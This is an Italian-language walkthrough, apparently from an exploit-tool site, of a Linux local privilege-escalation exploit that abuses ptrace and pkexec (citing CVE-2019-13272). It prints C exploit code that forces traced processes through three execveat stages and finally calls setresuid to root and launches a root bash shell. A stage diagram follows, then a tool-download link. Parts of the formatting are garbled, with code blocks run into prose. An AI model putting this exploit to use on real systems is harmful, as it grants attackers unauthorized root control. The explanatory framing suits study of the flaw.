144   regs.rdx = scratch_area + offsetof(struct injected_page, argv);
145   regs.r10 = scratch_area + offsetof(struct injected_page, envv);
146   regs.r8 = AT_EMPTY_PATH;
147 
148   SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
149   SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
150   SAFE(waitpid(pid, &dummy_status, 0));
151 }

La funzione di force_exec_and_wait è quella di usare ptrace per controllare il tracee nell'esecuzione della funzione execveat per sostituire l'immagine del processo. Qui controlla che il task B esegua il processo del task A (cioè il programma eseguibile dell'exploit - file binario dell'exploit) con il parametro stage2, in modo che il task B esegua la funzione middle_stage2.``` c 167 int main(int argc, char **argv) { 168 if (strcmp(argv[0], "stage2") == 0) 169 return middle_stage2(); 170 if (strcmp(argv[0], "stage3") == 0) 171 return spawn_shell();

root@kitploit:~
La funzione middle_stage2 chiama anche force_exec_and_wait, il che farà sì che il task B usi ptrace per controllare il task C nell'eseguire la funzione execveat, sostituendo l'immagine del task C con il binario dell'exploit e il parametro stage3.``` c
153 static int middle_stage2(void) {
154   /* our child is hanging in signal delivery from execve()'s SIGTRAP */
155   pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
156   force_exec_and_wait(child, 42, "stage3");
157   return 0;
158 }

Quando il file exploit binario viene eseguito con il parametro stage3, esegue la funzione spawn_shell, quindi la fase finale del task C è eseguire spawn_shell.``` c 160 static int spawn_shell(void) { 161 SAFE(setresgid(0, 0, 0)); 162 SAFE(setresuid(0, 0, 0)); 163 execlp("bash", "bash", NULL); 164 err(1, "execlp"); 165 }

root@kitploit:~
Nella funzione spawn_shell, innanzitutto utilizza setresgid/setresuid per cambiare il real uid/effective uid/save uid del processo in root. Poiché il task C ha appena eseguito un suid binary e ha cambiato il proprio euid in root, qui setresuid/setresgid possono essere eseguiti con successo. A questo punto, il task C è diventato un processo root completo. Infine, esegue execlp per aprire una shell, e questa shell avrà tutti i privilegi di root.``` go
       	     forks               forks
+------proc_A -----------> proc_B ------------> proc_C
|       |                   |                    |
|     Wait B                |                    |
|     And attach            |                    |
|     Execve stage 2 in B   |                    |
+-------+-------------------+--------------------+
stage 1 |                 pkexec              get privileged tracer
|       |                   |                    |
|       |                   |                    |
|       |                 Unprivileged        exec SUID binary,
|       |                 Traced by A         become privileged, SIGTRAPed
+-------+-------------------+--------------------+
|       |                   |                    |
stage 2 |                 Wait C,                |
|       |                 Execve stage3 in C     |
|       |                   |                    |
+-------+-------------------+--------------------+
|       |                   |                    |
|       |                   |                    |
stage 3 |                   |                 setresuid to 0, 0, 0
|       |                   |                    |
|       |                   |                 exeve bash as root :)
+-------+-------------------+--------------------+

Citazioni

https://www.anquanke.com/post/id/193863#h2-3 https://jm33.me/cve-2019-13272-linux-lpe-via-ptrace_traceme.html

DatntSec. Viettel Cyber Security.

Scarica lo strumento